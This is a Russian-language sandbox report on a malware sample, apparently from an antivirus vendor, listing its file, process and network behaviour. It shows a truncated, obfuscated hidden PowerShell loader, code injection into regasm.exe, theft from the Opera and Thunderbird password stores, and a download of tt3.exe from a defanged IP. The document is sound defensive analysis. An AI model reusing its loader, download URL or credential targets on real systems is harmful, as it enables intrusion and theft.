Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function sd3e2 {param($sdc4e)$ta1e417='c9687f';$y51bad='';for ($i=0; $i -lt $sdc4e.length;$i+=2){$ad8ec=[convert]::ToByte($sdc4e.Substring($i,2),16);$y51bad+=[char]($ad8ec...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{7f1ac31a-71f2-4adb-9b7f-ee8359b46907}.tmp
- %TEMP%\csc80f5.tmp
- %TEMP%\csc81b0.tmp
- %TEMP%\csc828b.tmp
- %TEMP%\res7d5c.tmp
- %TEMP%\7l40jk17.dll
- %TEMP%\res7e27.tmp
- %TEMP%\a3i9fe7a.dll
- %TEMP%\res7e75.tmp
- %TEMP%\res7f50.tmp
- %TEMP%\res7ffc.tmp
- %TEMP%\m6se-ytx.0.cs
- %TEMP%\res8105.tmp
- %TEMP%\res829b.tmp
- %TEMP%\1jpsx2um.dll
- %TEMP%\s5a3kfz1.dll
- %TEMP%\auz6w128.dll
- %TEMP%\dqsfh6-b.dll
- %TEMP%\7yderkmj.dll
- %TEMP%\m6se-ytx.dll
- %APPDATA%\n56adb.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\csc7f3f.tmp
- %TEMP%\csc7feb.tmp
- %TEMP%\csc7e55.tmp
- %TEMP%\csc7e16.tmp
- %TEMP%\csc7d3b.tmp
- %TEMP%\s5a3kfz1.cmdline
- %TEMP%\s5a3kfz1.out
- %TEMP%\dqsfh6-b.0.cs
- %TEMP%\dqsfh6-b.cmdline
- %TEMP%\dqsfh6-b.out
- %TEMP%\1jpsx2um.0.cs
- %TEMP%\1jpsx2um.cmdline
- %TEMP%\auz6w128.0.cs
- %TEMP%\auz6w128.cmdline
- %TEMP%\7yderkmj.0.cs
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\res81d0.tmp
- %TEMP%\7yderkmj.cmdline
- %TEMP%\7yderkmj.out
- %TEMP%\auz6w128.out
- %TEMP%\m6se-ytx.out
- %TEMP%\7l40jk17.0.cs
- %TEMP%\7l40jk17.cmdline
- %TEMP%\7l40jk17.out
- %TEMP%\a3i9fe7a.0.cs
- %TEMP%\1jpsx2um.out
- %TEMP%\a3i9fe7a.cmdline
- %TEMP%\a3i9fe7a.out
- %TEMP%\s5a3kfz1.0.cs
- %TEMP%\m6se-ytx.cmdline
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Удаляет следующие файлы
- %TEMP%\res7d5c.tmp
- %TEMP%\csc80f5.tmp
- %TEMP%\res81d0.tmp
- %TEMP%\csc81b0.tmp
- %TEMP%\7yderkmj.out
- %TEMP%\7yderkmj.dll
- %TEMP%\7yderkmj.cmdline
- %TEMP%\7yderkmj.pdb
- %TEMP%\7yderkmj.0.cs
- %TEMP%\res829b.tmp
- %TEMP%\csc828b.tmp
- %TEMP%\csc7feb.tmp
- %TEMP%\res8105.tmp
- %TEMP%\auz6w128.pdb
- %TEMP%\auz6w128.0.cs
- %TEMP%\auz6w128.out
- %TEMP%\dqsfh6-b.pdb
- %TEMP%\dqsfh6-b.dll
- %TEMP%\dqsfh6-b.out
- %TEMP%\dqsfh6-b.cmdline
- %TEMP%\dqsfh6-b.0.cs
- %TEMP%\m6se-ytx.cmdline
- %TEMP%\m6se-ytx.out
- %TEMP%\m6se-ytx.pdb
- %TEMP%\auz6w128.cmdline
- %TEMP%\auz6w128.dll
- %TEMP%\res7ffc.tmp
- %TEMP%\s5a3kfz1.0.cs
- %TEMP%\s5a3kfz1.dll
- %TEMP%\7l40jk17.dll
- %TEMP%\7l40jk17.0.cs
- %TEMP%\7l40jk17.cmdline
- %TEMP%\7l40jk17.out
- %TEMP%\7l40jk17.pdb
- %TEMP%\res7e27.tmp
- %TEMP%\csc7e16.tmp
- %TEMP%\a3i9fe7a.pdb
- %TEMP%\a3i9fe7a.cmdline
- %TEMP%\a3i9fe7a.out
- %TEMP%\a3i9fe7a.0.cs
- %TEMP%\csc7d3b.tmp
- %TEMP%\a3i9fe7a.dll
- %TEMP%\csc7e55.tmp
- %TEMP%\1jpsx2um.dll
- %TEMP%\1jpsx2um.pdb
- %TEMP%\1jpsx2um.cmdline
- %TEMP%\1jpsx2um.out
- %TEMP%\1jpsx2um.0.cs
- %TEMP%\res7f50.tmp
- %TEMP%\csc7f3f.tmp
- %TEMP%\s5a3kfz1.out
- %TEMP%\s5a3kfz1.pdb
- %TEMP%\s5a3kfz1.cmdline
- %TEMP%\res7e75.tmp
- %TEMP%\m6se-ytx.dll
- %TEMP%\m6se-ytx.0.cs
Сетевая активность
TCP
Запросы HTTP GET
- http://16#.#2.41.247/tt3.exe
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function sd3e2 {param($sdc4e)$ta1e417='c9687f';$y51bad='';for ($i=0; $i -lt $sdc4e.length;$i+=2){$ad8ec=[convert]::ToByte($sdc4e.Substring($i,2),16);$y51bad+=[char]($ad8ec...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8105.tmp" "%TEMP%\CSC80F5.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7FFC.tmp" "%TEMP%\CSC7FEB.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7F50.tmp" "%TEMP%\CSC7F3F.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E75.tmp" "%TEMP%\CSC7E55.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E27.tmp" "%TEMP%\CSC7E16.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7D5C.tmp" "%TEMP%\CSC7D3B.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES81D0.tmp" "%TEMP%\CSC81B0.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\a3i9fe7a.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7l40jk17.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\m6se-ytx.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\auz6w128.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7yderkmj.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dqsfh6-b.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\s5a3kfz1.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1jpsx2um.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES829B.tmp" "%TEMP%\CSC828B.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES829B.tmp" "%TEMP%\CSC828B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES81D0.tmp" "%TEMP%\CSC81B0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8105.tmp" "%TEMP%\CSC80F5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7FFC.tmp" "%TEMP%\CSC7FEB.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7F50.tmp" "%TEMP%\CSC7F3F.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E75.tmp" "%TEMP%\CSC7E55.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E27.tmp" "%TEMP%\CSC7E16.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7D5C.tmp" "%TEMP%\CSC7D3B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\a3i9fe7a.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1jpsx2um.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7l40jk17.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\m6se-ytx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\auz6w128.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7yderkmj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dqsfh6-b.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\s5a3kfz1.cmdline"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%APPDATA%\n56adb.exe'
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
